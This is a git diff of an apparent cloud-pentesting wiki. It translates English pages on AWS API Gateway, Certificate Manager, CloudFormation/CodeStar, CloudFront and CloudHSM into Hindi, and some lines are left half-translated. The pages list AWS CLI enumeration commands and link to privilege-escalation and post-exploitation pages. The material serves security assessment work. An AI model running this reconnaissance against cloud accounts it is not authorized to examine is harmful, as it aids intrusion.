> [!WARNING] -> Depending on the Lambda code, this authorization might be vulnerable +> Lambda कोड के आधार पर, यह प्राधिकरण कमजोर हो सकता है -Note that if a **deny policy is generated and returned** the error returned by API Gateway is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +ध्यान दें कि यदि एक **deny policy उत्पन्न और लौटाई जाती है** तो API Gateway द्वारा लौटाई गई त्रुटि है: `{"Message":"User is not authorized to access this resource with an explicit deny"}` -This way you could **identify this authorization** being in place. +इस तरह आप **इस प्राधिकरण** की पहचान कर सकते हैं। -### Required API Key +### आवश्यक API कुंजी -It's possible to set API endpoints that **require a valid API key** to contact it. +यह संभव है कि API अंत बिंदुओं को सेट किया जाए जो **एक मान्य API कुंजी** की आवश्यकता हो।
-It's possible to generate API keys in the API Gateway portal and even set how much it can be used (in terms of requests per second and in terms of requests per month). +API Gateway पोर्टल में API कुंजी उत्पन्न करना संभव है और यहां तक कि यह भी सेट करना कि इसे कितनी बार उपयोग किया जा सकता है (प्रति सेकंड अनुरोधों और प्रति माह अनुरोधों के संदर्भ में)। -To make an API key work, you need to add it to a **Usage Plan**, this usage plan mus be added to the **API Stage** and the associated API stage needs to have a configured a **method throttling** to the **endpoint** requiring the API key: +API कुंजी को काम करने के लिए, आपको इसे एक **Usage Plan** में जोड़ना होगा, यह उपयोग योजना **API Stage** में जोड़ी जानी चाहिए और संबंधित API स्टेज को **endpoint** के लिए एक **method throttling** कॉन्फ़िगर किया जाना चाहिए जो API कुंजी की आवश्यकता करता है:
-## Unauthenticated Access +## अनधिकृत पहुंच {{#ref}} ../aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md {{#endref}} -## Privesc +## प्रिवेस्क {{#ref}} ../aws-privilege-escalation/aws-apigateway-privesc.md {{#endref}} -## Post Exploitation +## पोस्ट एक्सप्लोइटेशन {{#ref}} ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Persistence +## स्थिरता {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 0f3da9d50..ef32b29d5 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -4,16 +4,15 @@ ## Basic Information -**AWS Certificate Manager (ACM)** is provided as a service aimed at streamlining the **provisioning, management, and deployment of SSL/TLS certificates** for AWS services and internal resources. The necessity for manual processes, such as purchasing, uploading, and certificate renewals, is **eliminated** by ACM. This allows users to efficiently request and implement certificates on various AWS resources including **Elastic Load Balancers, Amazon CloudFront distributions, and APIs on API Gateway**. +**AWS Certificate Manager (ACM)** एक सेवा के रूप में प्रदान किया गया है जिसका उद्देश्य **AWS सेवाओं और आंतरिक संसाधनों के लिए SSL/TLS प्रमाणपत्रों के प्रावधान, प्रबंधन और तैनाती को सरल बनाना** है। मैनुअल प्रक्रियाओं की आवश्यकता, जैसे कि खरीदना, अपलोड करना, और प्रमाणपत्र नवीनीकरण, **ACM द्वारा समाप्त** कर दी गई है। यह उपयोगकर्ताओं को विभिन्न AWS संसाधनों पर प्रमाणपत्रों को प्रभावी ढंग से अनुरोध और लागू करने की अनुमति देता है, जिसमें **Elastic Load Balancers, Amazon CloudFront वितरण, और API Gateway पर APIs** शामिल हैं। -A key feature of ACM is the **automatic renewal of certificates**, significantly reducing the management overhead. Furthermore, ACM supports the creation and centralized management of **private certificates for internal use**. Although SSL/TLS certificates for integrated AWS services like Elastic Load Balancing, Amazon CloudFront, and Amazon API Gateway are provided at no extra cost through ACM, users are responsible for the costs associated with the AWS resources utilized by their applications and a monthly fee for each **private Certificate Authority (CA)** and private certificates used outside integrated ACM services. +ACM की एक प्रमुख विशेषता है **प्रमाणपत्रों का स्वचालित नवीनीकरण**, जो प्रबंधन ओवरहेड को काफी कम करता है। इसके अलावा, ACM **आंतरिक उपयोग के लिए निजी प्रमाणपत्रों के निर्माण और केंद्रीकृत प्रबंधन** का समर्थन करता है। हालांकि, Elastic Load Balancing, Amazon CloudFront, और Amazon API Gateway जैसी एकीकृत AWS सेवाओं के लिए SSL/TLS प्रमाणपत्र ACM के माध्यम से बिना किसी अतिरिक्त लागत के प्रदान किए जाते हैं, उपयोगकर्ता अपने अनुप्रयोगों द्वारा उपयोग किए जाने वाले AWS संसाधनों से संबंधित लागतों और प्रत्येक **निजी प्रमाणपत्र प्राधिकरण (CA)** और एकीकृत ACM सेवाओं के बाहर उपयोग किए जाने वाले निजी प्रमाणपत्रों के लिए मासिक शुल्क के लिए जिम्मेदार होते हैं। -**AWS Private Certificate Authority** is offered as a **managed private CA service**, enhancing ACM's capabilities by extending certificate management to include private certificates. These private certificates are instrumental in authenticating resources within an organization. +**AWS Private Certificate Authority** को एक **प्रबंधित निजी CA सेवा** के रूप में पेश किया गया है, जो ACM की क्षमताओं को बढ़ाता है और प्रमाणपत्र प्रबंधन को निजी प्रमाणपत्रों को शामिल करने के लिए विस्तारित करता है। ये निजी प्रमाणपत्र संगठन के भीतर संसाधनों को प्रमाणित करने में महत्वपूर्ण होते हैं। ## Enumeration ### ACM - ```bash # List certificates aws acm list-certificates @@ -27,9 +26,7 @@ aws acm get-certificate --certificate-arn "arn:aws:acm:us-east-1:188868097724:ce # Account configuration aws acm get-account-configuration ``` - ### PCM - ```bash # List CAs aws acm-pca list-certificate-authorities @@ -49,17 +46,12 @@ aws acm-pca get-certificate-authority-csr --certificate-authority-arn # Get CA Policy (if any) aws acm-pca get-policy --resource-arn ``` - -## Privesc +## प्रिवेस्क TODO -## Post Exploitation +## पोस्ट एक्सप्लोइटेशन TODO {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index 66539b87d..7ce1c422b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,10 +4,9 @@ ## CloudFormation -AWS CloudFormation is a service designed to **streamline the management of AWS resources**. It enables users to focus more on their applications running in AWS by **minimizing the time spent on resource management**. The core feature of this service is the **template**—a descriptive model of the desired AWS resources. Once this template is provided, CloudFormation is responsible for the **provisioning and configuration** of the specified resources. This automation facilitates a more efficient and error-free management of AWS infrastructure. +AWS CloudFormation एक सेवा है जो **AWS संसाधनों के प्रबंधन को सरल बनाने** के लिए डिज़ाइन की गई है। यह उपयोगकर्ताओं को AWS में चल रहे अपने अनुप्रयोगों पर अधिक ध्यान केंद्रित करने में सक्षम बनाता है, **संसाधन प्रबंधन पर खर्च किए गए समय को कम करके**। इस सेवा की मुख्य विशेषता **टेम्पलेट** है—इच्छित AWS संसाधनों का एक वर्णनात्मक मॉडल। एक बार जब यह टेम्पलेट प्रदान किया जाता है, तो CloudFormation निर्दिष्ट संसाधनों के **प्रावधान और कॉन्फ़िगरेशन** के लिए जिम्मेदार होता है। यह स्वचालन AWS अवसंरचना के अधिक कुशल और त्रुटि-मुक्त प्रबंधन की सुविधा प्रदान करता है। ### Enumeration - ```bash # Stacks aws cloudformation list-stacks @@ -30,10 +29,9 @@ aws cloudformation list-stack-instances --stack-set-name aws cloudformation list-stack-set-operations --stack-set-name aws cloudformation list-stack-set-operation-results --stack-set-name --operation-id ``` - ### Privesc -In the following page you can check how to **abuse cloudformation permissions to escalate privileges**: +In the following page you can check how to **cloudformation अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/aws-cloudformation-privesc/ @@ -41,14 +39,13 @@ In the following page you can check how to **abuse cloudformation permissions to ### Post-Exploitation -Check for **secrets** or sensitive information in the **template, parameters & output** of each CloudFormation +Check for **गुप्त** या संवेदनशील जानकारी in the **template, parameters & output** of each CloudFormation ## Codestar -AWS CodeStar is a service for creating, managing, and working with software development projects on AWS. You can quickly develop, build, and deploy applications on AWS with an AWS CodeStar project. An AWS CodeStar project creates and **integrates AWS services** for your project development toolchain. Depending on your choice of AWS CodeStar project template, that toolchain might include source control, build, deployment, virtual servers or serverless resources, and more. AWS CodeStar also **manages the permissions required for project users** (called team members). +AWS CodeStar एक सेवा है जो AWS पर सॉफ़्टवेयर विकास परियोजनाओं को बनाने, प्रबंधित करने और उन पर काम करने के लिए है। आप AWS CodeStar परियोजना के साथ AWS पर तेजी से अनुप्रयोग विकसित, निर्माण और तैनात कर सकते हैं। एक AWS CodeStar परियोजना आपके परियोजना विकास उपकरण श्रृंखला के लिए **AWS सेवाओं को बनाती और एकीकृत करती है**। आपके AWS CodeStar परियोजना टेम्पलेट के चयन के आधार पर, वह उपकरण श्रृंखला स्रोत नियंत्रण, निर्माण, तैनाती, वर्चुअल सर्वर या सर्वर रहित संसाधनों, और अधिक को शामिल कर सकती है। AWS CodeStar भी **परियोजना उपयोगकर्ताओं के लिए आवश्यक अनुमतियों का प्रबंधन करता है** (जिन्हें टीम के सदस्य कहा जाता है)। ### Enumeration - ```bash # Get projects information aws codestar list-projects @@ -56,13 +53,12 @@ aws codestar describe-project --id aws codestar list-resources --project-id aws codestar list-team-members --project-id - aws codestar list-user-profiles - aws codestar describe-user-profile --user-arn +aws codestar list-user-profiles +aws codestar describe-user-profile --user-arn ``` - ### Privesc -In the following page you can check how to **abuse codestar permissions to escalate privileges**: +इस पृष्ठ पर आप देख सकते हैं कि **कोडस्टार अनुमतियों का दुरुपयोग करके विशेषाधिकार कैसे बढ़ाएं**: {{#ref}} ../aws-privilege-escalation/aws-codestar-privesc/ @@ -73,7 +69,3 @@ In the following page you can check how to **abuse codestar permissions to escal - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index 75613cdb4..8fdaa3f5c 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,20 +4,19 @@ ## CloudFront -CloudFront is AWS's **content delivery network that speeds up distribution** of your static and dynamic content through its worldwide network of edge locations. When you use a request content that you're hosting through Amazon CloudFront, the request is routed to the closest edge location which provides it the lowest latency to deliver the best performance. When **CloudFront access logs** are enabled you can record the request from each user requesting access to your website and distribution. As with S3 access logs, these logs are also **stored on Amazon S3 for durable and persistent storage**. There are no charges for enabling logging itself, however, as the logs are stored in S3 you will be stored for the storage used by S3. +CloudFront AWS का **सामग्री वितरण नेटवर्क है जो आपके स्थिर और गतिशील सामग्री के वितरण को तेज करता है** इसके विश्वव्यापी एज स्थानों के नेटवर्क के माध्यम से। जब आप Amazon CloudFront के माध्यम से होस्ट की गई सामग्री के लिए अनुरोध करते हैं, तो अनुरोध निकटतम एज स्थान पर रूट किया जाता है जो इसे सबसे कम विलंबता प्रदान करता है ताकि सर्वोत्तम प्रदर्शन दिया जा सके। जब **CloudFront एक्सेस लॉग** सक्षम होते हैं, तो आप अपने वेबसाइट और वितरण तक पहुंच के लिए अनुरोध करने वाले प्रत्येक उपयोगकर्ता के अनुरोध को रिकॉर्ड कर सकते हैं। S3 एक्सेस लॉग की तरह, ये लॉग भी **Amazon S3 पर टिकाऊ और स्थायी भंडारण के लिए संग्रहीत होते हैं**। लॉगिंग को सक्षम करने के लिए कोई शुल्क नहीं है, हालाँकि, चूंकि लॉग S3 में संग्रहीत होते हैं, इसलिए आपको S3 द्वारा उपयोग किए गए भंडारण के लिए शुल्क लिया जाएगा। -The log files capture data over a period of time and depending on the amount of requests that are received by Amazon CloudFront for that distribution will depend on the amount of log fils that are generated. It's important to know that these log files are not created or written to on S3. S3 is simply where they are delivered to once the log file is full. **Amazon CloudFront retains these logs until they are ready to be delivered to S3**. Again, depending on the size of these log files this delivery can take **between one and 24 hours**. +लॉग फ़ाइलें एक निश्चित समय के दौरान डेटा कैप्चर करती हैं और Amazon CloudFront द्वारा उस वितरण के लिए प्राप्त अनुरोधों की मात्रा पर निर्भर करती हैं कि कितनी लॉग फ़ाइलें उत्पन्न होती हैं। यह जानना महत्वपूर्ण है कि ये लॉग फ़ाइलें S3 पर नहीं बनाई या लिखी जाती हैं। S3 बस वह स्थान है जहाँ वे लॉग फ़ाइल भरने के बाद वितरित की जाती हैं। **Amazon CloudFront इन लॉग को तब तक बनाए रखता है जब तक कि वे S3 में वितरित करने के लिए तैयार नहीं होते**। फिर से, इन लॉग फ़ाइलों के आकार के आधार पर यह वितरण **एक से 24 घंटे** के बीच ले सकता है। -**By default cookie logging is disabled** but you can enable it. +**डिफ़ॉल्ट रूप से कुकी लॉगिंग अक्षम है** लेकिन आप इसे सक्षम कर सकते हैं। ### Functions -You can create functions in CloudFront. These functions will have its **endpoint in cloudfront** defined and will run a declared **NodeJS code**. This code will run inside a **sandbox** in a machine running under an AWS managed machine (you would need a sandbox bypass to manage to escape to the underlaying OS). +आप CloudFront में फ़ंक्शन बना सकते हैं। इन फ़ंक्शनों का **एंडपॉइंट क्लाउडफ्रंट में** परिभाषित होगा और यह एक घोषित **NodeJS कोड** चलाएगा। यह कोड एक **सैंडबॉक्स** के अंदर एक मशीन पर चलेगा जो AWS प्रबंधित मशीन के तहत चल रही है (आपको अंतर्निहित OS से बचने के लिए एक सैंडबॉक्स बायपास की आवश्यकता होगी)। -As the functions aren't run in the users AWS account. no IAM role is attached so no direct privesc is possible abusing this feature. +चूंकि फ़ंक्शन उपयोगकर्ताओं के AWS खाते में नहीं चलाए जाते हैं, कोई IAM भूमिका संलग्न नहीं होती है इसलिए इस सुविधा का दुरुपयोग करके कोई प्रत्यक्ष प्रिवेस्क संभव नहीं है। ### Enumeration - ```bash aws cloudfront list-distributions aws cloudfront get-distribution --id # Just get 1 @@ -28,21 +27,16 @@ aws cloudfront get-function --name TestFunction function_code.js aws cloudfront list-distributions | jq ".DistributionList.Items[] | .Id, .Origins.Items[].Id, .Origins.Items[].DomainName, .AliasICPRecordals[].CNAME" ``` - -## Unauthenticated Access +## अनधिकृत पहुँच {{#ref}} ../aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md {{#endref}} -## Post Exploitation +## पोस्ट शोषण {{#ref}} ../aws-post-exploitation/aws-cloudfront-post-exploitation.md {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index 55216fa7e..25ddf91ab 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -2,70 +2,64 @@ {{#include ../../../banners/hacktricks-training.md}} -## HSM - Hardware Security Module +## HSM - हार्डवेयर सुरक्षा मॉड्यूल -Cloud HSM is a FIPS 140 level two validated **hardware device** for secure cryptographic key storage (note that CloudHSM is a hardware appliance, it is not a virtualized service). It is a SafeNetLuna 7000 appliance with 5.3.13 preloaded. There are two firmware versions and which one you pick is really based on your exact needs. One is for FIPS 140-2 compliance and there was a newer version that can be used. +Cloud HSM एक FIPS 140 स्तर दो मान्यताप्राप्त **हार्डवेयर डिवाइस** है जो सुरक्षित क्रिप्टोग्राफिक कुंजी भंडारण के लिए है (ध्यान दें कि CloudHSM एक हार्डवेयर उपकरण है, यह एक वर्चुअलाइज्ड सेवा नहीं है)। यह एक SafeNetLuna 7000 उपकरण है जिसमें 5.3.13 प्रीलोडेड है। दो फर्मवेयर संस्करण हैं और आप जो चुनते हैं वह वास्तव में आपकी सटीक आवश्यकताओं पर निर्भर करता है। एक FIPS 140-2 अनुपालन के लिए है और एक नया संस्करण था जिसका उपयोग किया जा सकता है। -The unusual feature of CloudHSM is that it is a physical device, and thus it is **not shared with other customers**, or as it is commonly termed, multi-tenant. It is dedicated single tenant appliance exclusively made available to your workloads +CloudHSM की असामान्य विशेषता यह है कि यह एक भौतिक डिवाइस है, और इसलिए यह **अन्य ग्राहकों के साथ साझा नहीं किया जाता है**, या जैसा कि इसे सामान्यतः कहा जाता है, मल्टी-टेनेंट। यह आपके कार्यभार के लिए विशेष रूप से उपलब्ध एक समर्पित एकल टेनेंट उपकरण है। -Typically, a device is available within 15 minutes assuming there is capacity, but in some zones there could not be. +आमतौर पर, एक डिवाइस 15 मिनट के भीतर उपलब्ध होता है यदि क्षमता है, लेकिन कुछ क्षेत्रों में ऐसा नहीं हो सकता है। -Since this is a physical device dedicated to you, **the keys are stored on the device**. Keys need to either be **replicated to another device**, backed up to offline storage, or exported to a standby appliance. **This device is not backed** by S3 or any other service at AWS like KMS. +चूंकि यह एक भौतिक डिवाइस है जो आपके लिए समर्पित है, **कुंजी डिवाइस पर संग्रहीत होती हैं**। कुंजियों को या तो **दूसरे डिवाइस पर दोहराना**, ऑफ़लाइन स्टोरेज में बैकअप करना, या स्टैंडबाय उपकरण पर निर्यात करना आवश्यक है। **यह डिवाइस S3 या AWS में KMS जैसी किसी अन्य सेवा द्वारा समर्थित नहीं है**। -In **CloudHSM**, you have to **scale the service yourself**. You have to provision enough CloudHSM devices to handle whatever your encryption needs are based on the encryption algorithms you have chosen to implement for your solution.\ -Key Management Service scaling is performed by AWS and automatically scales on demand, so as your use grows, so might the number of CloudHSM appliances that are required. Keep this in mind as you scale your solution and if your solution has auto-scaling, make sure your maximum scale is accounted for with enough CloudHSM appliances to service the solution. +**CloudHSM** में, आपको **सेवा को स्वयं स्केल करना होगा**। आपको अपने समाधान के लिए लागू किए गए क्रिप्टोग्राफी एल्गोरिदम के आधार पर आपकी एन्क्रिप्शन आवश्यकताओं को संभालने के लिए पर्याप्त CloudHSM उपकरणों को प्रावधान करना होगा।\ +की प्रबंधन सेवा का स्केलिंग AWS द्वारा किया जाता है और मांग के अनुसार स्वचालित रूप से स्केल होता है, इसलिए जैसे-जैसे आपका उपयोग बढ़ता है, आवश्यक CloudHSM उपकरणों की संख्या भी बढ़ सकती है। इसे ध्यान में रखें जब आप अपने समाधान को स्केल करते हैं और यदि आपके समाधान में ऑटो-स्केलिंग है, तो सुनिश्चित करें कि आपके अधिकतम स्केल के लिए पर्याप्त CloudHSM उपकरणों का ध्यान रखा गया है। -Just like scaling, **performance is up to you with CloudHSM**. Performance varies based on which encryption algorithm is used and on how often you need to access or retrieve the keys to encrypt the data. Key management service performance is handled by Amazon and automatically scales as demand requires it. CloudHSM's performance is achieved by adding more appliances and if you need more performance you either add devices or alter the encryption method to the algorithm that is faster. +स्केलिंग की तरह, **CloudHSM के साथ प्रदर्शन आपके ऊपर निर्भर है**। प्रदर्शन इस पर निर्भर करता है कि कौन सा एन्क्रिप्शन एल्गोरिदम उपयोग किया जा रहा है और आपको डेटा को एन्क्रिप्ट करने के लिए कुंजियों तक पहुंचने या पुनः प्राप्त करने की कितनी बार आवश्यकता है। की प्रबंधन सेवा का प्रदर्शन Amazon द्वारा संभाला जाता है और मांग के अनुसार स्वचालित रूप से स्केल होता है। CloudHSM का प्रदर्शन अधिक उपकरण जोड़ने से प्राप्त होता है और यदि आपको अधिक प्रदर्शन की आवश्यकता है तो आप या तो उपकरण जोड़ते हैं या एन्क्रिप्शन विधि को तेज़ एल्गोरिदम में बदलते हैं। -If your solution is **multi-region**, you should add several **CloudHSM appliances in the second region and work out the cross-region connectivity with a private VPN connection** or some method to ensure the traffic is always protected between the appliance at every layer of the connection. If you have a multi-region solution you need to think about how to **replicate keys and set up additional CloudHSM devices in the regions where you operate**. You can very quickly get into a scenario where you have six or eight devices spread across multiple regions, enabling full redundancy of your encryption keys. +यदि आपका समाधान **मल्टी-क्षेत्र** है, तो आपको दूसरे क्षेत्र में कई **CloudHSM उपकरण जोड़ने चाहिए और एक निजी VPN कनेक्शन के साथ क्रॉस-क्षेत्र कनेक्टिविटी का समाधान करना चाहिए** या किसी विधि का उपयोग करना चाहिए जिससे यह सुनिश्चित हो सके कि कनेक्शन के हर स्तर पर ट्रैफ़िक हमेशा सुरक्षित है। यदि आपके पास एक मल्टी-क्षेत्र समाधान है, तो आपको यह सोचना होगा कि **कुंजियों को कैसे दोहराना है और उन क्षेत्रों में अतिरिक्त CloudHSM उपकरण कैसे सेट करना है जहां आप कार्य करते हैं**। आप बहुत जल्दी एक परिदृश्य में पहुँच सकते हैं जहाँ आपके पास छह या आठ उपकरण हैं जो कई क्षेत्रों में फैले हुए हैं, जिससे आपके एन्क्रिप्शन कुंजियों की पूर्ण पुनरावृत्ति सक्षम होती है। -**CloudHSM** is an enterprise class service for secured key storage and can be used as a **root of trust for an enterprise**. It can store private keys in PKI and certificate authority keys in X509 implementations. In addition to symmetric keys used in symmetric algorithms such as AES, **KMS stores and physically protects symmetric keys only (cannot act as a certificate authority)**, so if you need to store PKI and CA keys a CloudHSM or two or three could be your solution. +**CloudHSM** एक उद्यम श्रेणी की सेवा है जो सुरक्षित कुंजी भंडारण के लिए है और इसे **एक उद्यम के लिए विश्वास का मूल** के रूप में उपयोग किया जा सकता है। यह PKI में निजी कुंजियों और X509 कार्यान्वयन में प्रमाणपत्र प्राधिकरण कुंजियों को संग्रहीत कर सकता है। सममित एल्गोरिदम जैसे AES में उपयोग की जाने वाली सममित कुंजियों के अलावा, **KMS केवल सममित कुंजियों को संग्रहीत और भौतिक रूप से सुरक्षित करता है (प्रमाणपत्र प्राधिकरण के रूप में कार्य नहीं कर सकता)**, इसलिए यदि आपको PKI और CA कुंजियों को संग्रहीत करने की आवश्यकता है, तो एक या दो या तीन CloudHSM आपकी समाधान हो सकता है। -**CloudHSM is considerably more expensive than Key Management Service**. CloudHSM is a hardware appliance so you have fix costs to provision the CloudHSM device, then an hourly cost to run the appliance. The cost is multiplied by as many CloudHSM appliances that are required to achieve your specific requirements.\ -Additionally, cross consideration must be made in the purchase of third party software such as SafeNet ProtectV software suites and integration time and effort. Key Management Service is a usage based and depends on the number of keys you have and the input and output operations. As key management provides seamless integration with many AWS services, integration costs should be significantly lower. Costs should be considered secondary factor in encryption solutions. Encryption is typically used for security and compliance. +**CloudHSM की लागत की प्रबंधन सेवा की तुलना में काफी अधिक है**। CloudHSM एक हार्डवेयर उपकरण है इसलिए आपको CloudHSM डिवाइस को प्रावधान करने के लिए निश्चित लागत होती है, फिर उपकरण चलाने के लिए एक घंटे की लागत होती है। लागत आपके विशिष्ट आवश्यकताओं को पूरा करने के लिए आवश्यक CloudHSM उपकरणों की संख्या से गुणा की जाती है।\ +इसके अतिरिक्त, तीसरे पक्ष के सॉफ़्टवेयर जैसे SafeNet ProtectV सॉफ़्टवेयर सूट और एकीकरण समय और प्रयास की खरीद में क्रॉस विचार किया जाना चाहिए। की प्रबंधन सेवा एक उपयोग आधारित है और आपके पास मौजूद कुंजियों की संख्या और इनपुट और आउटपुट संचालन पर निर्भर करती है। चूंकि की प्रबंधन कई AWS सेवाओं के साथ निर्बाध एकीकरण प्रदान करता है, एकीकरण लागत काफी कम होनी चाहिए। लागत को एन्क्रिप्शन समाधानों में द्वितीयक कारक के रूप में माना जाना चाहिए। एन्क्रिप्शन आमतौर पर सुरक्षा और अनुपालन के लिए उपयोग किया जाता है। -**With CloudHSM only you have access to the keys** and without going into too much detail, with CloudHSM you manage your own keys. **With KMS, you and Amazon co-manage your keys**. AWS does have many policy safeguards against abuse and **still cannot access your keys in either solution**. The main distinction is compliance as it pertains to key ownership and management, and with CloudHSM, this is a hardware appliance that you manage and maintain with exclusive access to you and only you. +**CloudHSM के साथ केवल आपके पास कुंजियों तक पहुंच है** और बहुत अधिक विवरण में जाने के बिना, CloudHSM के साथ आप अपनी कुंजियों का प्रबंधन करते हैं। **KMS के साथ, आप और Amazon अपनी कुंजियों का सह-प्रबंधन करते हैं**। AWS के पास दुरुपयोग के खिलाफ कई नीति सुरक्षा उपाय हैं और **फिर भी किसी भी समाधान में आपकी कुंजियों तक पहुंच नहीं हो सकती**। मुख्य भेद यह है कि यह कुंजी स्वामित्व और प्रबंधन से संबंधित अनुपालन है, और CloudHSM के साथ, यह एक हार्डवेयर उपकरण है जिसे आप प्रबंधित और बनाए रखते हैं और केवल आपके लिए विशेष पहुंच है। -### CloudHSM Suggestions +### CloudHSM सुझाव -1. Always deploy CloudHSM in an **HA setup** with at least two appliances in **separate availability zones**, and if possible, deploy a third either on premise or in another region at AWS. -2. Be careful when **initializing** a **CloudHSM**. This action **will destroy the keys**, so either have another copy of the keys or be absolutely sure you do not and never, ever will need these keys to decrypt any data. -3. CloudHSM only **supports certain versions of firmware** and software. Before performing any update, make sure the firmware and or software is supported by AWS. You can always contact AWS support to verify if the upgrade guide is unclear. -4. The **network configuration should never be changed.** Remember, it's in a AWS data center and AWS is monitoring base hardware for you. This means that if the hardware fails, they will replace it for you, but only if they know it failed. -5. The **SysLog forward should not be removed or changed**. You can always **add** a SysLog forwarder to direct the logs to your own collection tool. -6. The **SNMP** configuration has the same basic restrictions as the network and SysLog folder. This **should not be changed or removed**. An **additional** SNMP configuration is fine, just make sure you do not change the one that is already on the appliance. -7. Another interesting best practice from AWS is **not to change the NTP configuration**. It is not clear what would happen if you did, so keep in mind that if you don't use the same NTP configuration for the rest of your solution then you could have two time sources. Just be aware of this and know that the CloudHSM has to stay with the existing NTP source. +1. हमेशा CloudHSM को **HA सेटअप** में तैनात करें जिसमें **अलग-अलग उपलब्धता क्षेत्रों में कम से कम दो उपकरण** हों, और यदि संभव हो, तो एक तीसरा उपकरण ऑन-प्रिमाइस या AWS के किसी अन्य क्षेत्र में तैनात करें। +2. **CloudHSM** को **आरंभ करते समय सावधान रहें**। यह क्रिया **कुंजियों को नष्ट कर देगी**, इसलिए या तो कुंजियों की एक और प्रति रखें या सुनिश्चित करें कि आपको इन कुंजियों की आवश्यकता नहीं है और कभी भी इन कुंजियों की आवश्यकता नहीं होगी। +3. CloudHSM केवल **कुछ फर्मवेयर** और सॉफ़्टवेयर संस्करणों का **समर्थन करता है**। किसी भी अपडेट को करने से पहले, सुनिश्चित करें कि फर्मवेयर और/या सॉफ़्टवेयर AWS द्वारा समर्थित है। आप हमेशा AWS समर्थन से संपर्क कर सकते हैं यह सत्यापित करने के लिए कि यदि अपग्रेड गाइड स्पष्ट नहीं है। +4. **नेटवर्क कॉन्फ़िगरेशन को कभी नहीं बदला जाना चाहिए।** याद रखें, यह AWS डेटा सेंटर में है और AWS आपके लिए आधारभूत हार्डवेयर की निगरानी कर रहा है। इसका मतलब है कि यदि हार्डवेयर विफल हो जाता है, तो वे इसे आपके लिए बदल देंगे, लेकिन केवल तभी जब उन्हें पता हो कि यह विफल हो गया है। +5. **SysLog फॉरवर्ड को नहीं हटाया या बदला जाना चाहिए**। आप हमेशा **एक** SysLog फॉरवर्डर जोड़ सकते हैं ताकि लॉग को आपके अपने संग्रह उपकरण की ओर निर्देशित किया जा सके। +6. **SNMP** कॉन्फ़िगरेशन में नेटवर्क और SysLog फ़ोल्डर के समान बुनियादी प्रतिबंध हैं। इसे **नहीं बदला या हटाया जाना चाहिए**। एक **अतिरिक्त** SNMP कॉन्फ़िगरेशन ठीक है, बस सुनिश्चित करें कि आप पहले से उपकरण पर मौजूद कॉन्फ़िगरेशन को नहीं बदलते हैं। +7. AWS से एक और दिलचस्प सर्वोत्तम प्रथा है **NTP कॉन्फ़िगरेशन को न बदलना**। यह स्पष्ट नहीं है कि यदि आप ऐसा करते हैं तो क्या होगा, इसलिए ध्यान रखें कि यदि आप अपने समाधान के बाकी हिस्सों के लिए समान NTP कॉन्फ़िगरेशन का उपयोग नहीं करते हैं तो आपके पास दो समय स्रोत हो सकते हैं। बस इसके प्रति जागरूक रहें और जानें कि CloudHSM को मौजूदा NTP स्रोत के साथ रहना होगा। -The initial launch charge for CloudHSM is $5,000 to allocate the hardware appliance dedicated for your use, then there is an hourly charge associated with running CloudHSM that is currently at $1.88 per hour of operation, or approximately $1,373 per month. +CloudHSM के लिए प्रारंभिक लॉन्च शुल्क $5,000 है जो आपके उपयोग के लिए समर्पित हार्डवेयर उपकरण आवंटित करने के लिए है, फिर CloudHSM चलाने के लिए एक घंटे का शुल्क है जो वर्तमान में $1.88 प्रति घंटे के संचालन पर है, या लगभग $1,373 प्रति माह। -The most common reason to use CloudHSM is compliance standards that you must meet for regulatory reasons. **KMS does not offer data support for asymmetric keys. CloudHSM does let you store asymmetric keys securely**. +CloudHSM का सबसे सामान्य कारण अनुपालन मानक है जिन्हें आपको नियामक कारणों के लिए पूरा करना चाहिए। **KMS असममित कुंजियों के लिए डेटा समर्थन प्रदान नहीं करता है। CloudHSM आपको असममित कुंजियों को सुरक्षित रूप से संग्रहीत करने की अनुमति देता है**। -The **public key is installed on the HSM appliance during provisioning** so you can access the CloudHSM instance via SSH. +**सार्वजनिक कुंजी HSM उपकरण पर प्रावधान के दौरान स्थापित की जाती है** ताकि आप SSH के माध्यम से CloudHSM उदाहरण तक पहुंच सकें। -### What is a Hardware Security Module +### हार्डवेयर सुरक्षा मॉड्यूल क्या है -A hardware security module (HSM) is a dedicated cryptographic device that is used to generate, store, and manage cryptographic keys and protect sensitive data. It is designed to provide a high level of security by physically and electronically isolating the cryptographic functions from the rest of the system. +एक हार्डवेयर सुरक्षा मॉड्यूल (HSM) एक समर्पित क्रिप्टोग्राफिक डिवाइस है जिसका उपयोग 